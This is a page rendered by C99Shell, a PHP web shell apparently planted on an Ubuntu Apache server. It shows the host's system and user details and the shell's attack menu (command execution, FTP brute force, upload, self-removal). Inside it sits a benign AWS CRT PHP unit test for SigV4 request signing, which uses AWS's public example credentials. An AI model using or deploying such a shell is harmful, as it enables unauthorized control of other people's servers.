!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/main_file/vendor/aws/aws-crt-php/tests/   drwxr-xr-x
Free 13.08 GB of 57.97 GB (22.56%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SigningTest.php (7.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
 * SPDX-License-Identifier: Apache-2.0.
 */

use AWS\CRT\Auth\SignatureType;
use 
AWS\CRT\Auth\SigningAlgorithm;
use 
AWS\CRT\Auth\SigningConfigAWS;
use 
AWS\CRT\Auth\Signing;
use 
AWS\CRT\Auth\Signable;
use 
AWS\CRT\Auth\StaticCredentialsProvider;
use 
AWS\CRT\HTTP\Request;

require_once(
'common.inc');

final class 
SigningTest extends CrtTestCase {

    public function 
testConfigAWSLifetime() {
        
$config = new SigningConfigAWS();
        
$this->assertNotNull($config"Failed to create default SigningConfigAWS");
        
$config null;
    }

    public function 
testConfigAWSConstructionWithOptions() {
        
$options SigningConfigAWS::defaults();
        
$options['service'] = 'CRT';
        
$options['region'] = 'CRT';
        
$config = new SigningConfigAWS($options);
        
$this->assertNotNull($config"Failed to create SigningConfigAWS with custom options");
        
$config null;
    }

    public function 
testSignableFromHttpRequestLifetime() {
        
$request = new Request('GET''/');
        
$signable Signable::fromHttpRequest($request);
        
$this->assertNotNull($signable"Failed to create Signable from HTTP::Request");
        
$signable null;
    }

    public function 
testSignableFromChunkLifetime() {
        
$chunk "THIS IS A TEST CHUNK IT CONTAINS MULTITUDES";
        
$stream fopen("php://memory"'r+');
        
fputs($stream$chunk);
        
rewind($stream);
        
$signable Signable::fromChunk($stream);
        
$this->assertNotNull($signable"Failed to create Signable from chunk stream");
        
$signable null;
    }

    public function 
testSignableFromCanonicalRequestLifetime() {
        
$canonical_request "THIS IS A CANONICAL_REQUEST. IT IS DEEPLY CANONICAL";
        
$signable Signable::fromCanonicalRequest($canonical_request);
        
$this->assertNotNull($signable"Failed to create Signable from canonical request");
        
$signable null;
    }

    const 
SIGV4TEST_ACCESS_KEY_ID 'AKIDEXAMPLE';
    const 
SIGV4TEST_SECRET_ACCESS_KEY 'wJalrXUtnFEMI/K7MDENG+bPxRfiCYEXAMPLEKEY';
    const 
SIGV4TEST_SESSION_TOKEN null;
    const 
SIGV4TEST_SERVICE 'service';
    const 
SIGV4TEST_REGION 'us-east-1';
    private static function 
SIGV4TEST_DATE() {
        return 
mktime(123608302015);
    }

    public function 
testShouldSignHeader() {
        
$credentials_provider = new StaticCredentialsProvider([
            
'access_key_id' => self::SIGV4TEST_ACCESS_KEY_ID,
            
'secret_access_key' => self::SIGV4TEST_SECRET_ACCESS_KEY,
            
'session_token' => self::SIGV4TEST_SESSION_TOKEN,
        ]);
        
$signing_config = new SigningConfigAWS([
            
'algorithm' => SigningAlgorithm::SIGv4,
            
'signature_type' => SignatureType::HTTP_REQUEST_HEADERS,
            
'credentials_provider' => $credentials_provider,
            
'region' => self::SIGV4TEST_REGION,
            
'service' => self::SIGV4TEST_SERVICE,
            
'date' => self::SIGV4TEST_DATE(),
            
'should_sign_header' => function($header) {
                return 
strtolower($header) != 'x-do-not-sign';
            }
        ]);
        
$http_request = new Request('GET''/', [], [
            
'Host' => 'example.amazonaws.com',
            
'X-Do-Not-Sign' => 'DO NOT SIGN THIS']);
        
$this->assertNotNull($http_request"Unable to create HttpRequest for signing");
        
$signable Signable::fromHttpRequest($http_request);
        
$this->assertNotNull($signable"Unable to create signable from HttpRequest");

        
Signing::signRequestAws(
            
$signable$signing_config,
            function(
$signing_result$error_code) use (&$http_request) {
                
$this->assertEquals(0$error_code);
                
$signing_result->applyToHttpRequest($http_request);
            }
        );

        
// This signature value is computed without the X-Do-Not-Sign header above
        
$headers $http_request->headers();
        
$this->assertEquals(
            
'AWS4-HMAC-SHA256 Credential=AKIDEXAMPLE/20150830/us-east-1/service/aws4_request, SignedHeaders=host;x-amz-date, Signature=5fa00fa31553b73ebf1942676e86291e8372ff2a2260956d9b8aae1d763fbf31',
            
$headers->get('Authorization'));
    }

    public function 
testSigv4HeaderSigning() {
        
$credentials_provider = new StaticCredentialsProvider([
            
'access_key_id' => self::SIGV4TEST_ACCESS_KEY_ID,
            
'secret_access_key' => self::SIGV4TEST_SECRET_ACCESS_KEY,
            
'session_token' => self::SIGV4TEST_SESSION_TOKEN,
        ]);
        
$signing_config = new SigningConfigAWS([
            
'algorithm' => SigningAlgorithm::SIGv4,
            
'signature_type' => SignatureType::HTTP_REQUEST_HEADERS,
            
'credentials_provider' => $credentials_provider,
            
'region' => self::SIGV4TEST_REGION,
            
'service' => self::SIGV4TEST_SERVICE,
            
'date' => self::SIGV4TEST_DATE(),
        ]);
        
$http_request = new Request('GET''/', [], ['Host' => 'example.amazonaws.com']);
        
$this->assertNotNull($http_request"Unable to create HttpRequest for signing");
        
$signable Signable::fromHttpRequest($http_request);
        
$this->assertNotNull($signable"Unable to create signable from HttpRequest");

        
Signing::signRequestAws(
            
$signable$signing_config,
            function(
$signing_result$error_code) use (&$http_request) {
                
$this->assertEquals(0$error_code);
                
$signing_result->applyToHttpRequest($http_request);
            }
        );

        
$headers $http_request->headers();
        
$this->assertEquals(
            
'AWS4-HMAC-SHA256 Credential=AKIDEXAMPLE/20150830/us-east-1/service/aws4_request, SignedHeaders=host;x-amz-date, Signature=5fa00fa31553b73ebf1942676e86291e8372ff2a2260956d9b8aae1d763fbf31',
            
$headers->get('Authorization'));
        
$this->assertEquals('20150830T123600Z'$headers->get('X-Amz-Date'));
    }

    public function 
testSigV4aHeaderSigning() {
        
$credentials_provider = new StaticCredentialsProvider([
            
'access_key_id' => self::SIGV4TEST_ACCESS_KEY_ID,
            
'secret_access_key' => self::SIGV4TEST_SECRET_ACCESS_KEY,
            
'session_token' => self::SIGV4TEST_SESSION_TOKEN,
        ]);
        
$signing_config = new SigningConfigAWS([
            
'algorithm' => SigningAlgorithm::SIGv4_ASYMMETRIC,
            
'signature_type' => SignatureType::HTTP_REQUEST_HEADERS,
            
'credentials_provider' => $credentials_provider,
            
'region' => self::SIGV4TEST_REGION,
            
'service' => self::SIGV4TEST_SERVICE,
            
'date' => self::SIGV4TEST_DATE(),
        ]);

        
$http_request = new Request('GET''/', [], ['Host' => 'example.amazonaws.com']);
        
$this->assertNotNull($http_request"Unable to create HttpRequest for signing");
        
$signable Signable::fromHttpRequest($http_request);
        
$this->assertNotNull($signable"Unable to create signable from HttpRequest");

        
Signing::signRequestAws(
            
$signable$signing_config,
            function(
$signing_result$error_code) use (&$http_request) {
                
$this->assertEquals(0$error_code);
                
$signing_result->applyToHttpRequest($http_request);
            }
        );

        
$headers $http_request->headers();
        
$auth_header_value $headers->get('Authorization');
        
$this->assertNotNull($auth_header_value);
        
$this->assertStringStartsWith(
            
'AWS4-ECDSA-P256-SHA256 Credential=AKIDEXAMPLE/20150830/service/aws4_request, SignedHeaders=host;x-amz-date;x-amz-region-set, Signature=',
            
$auth_header_value);
        
$this->assertEquals('20150830T123600Z'$headers->get('X-Amz-Date'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0081 ]--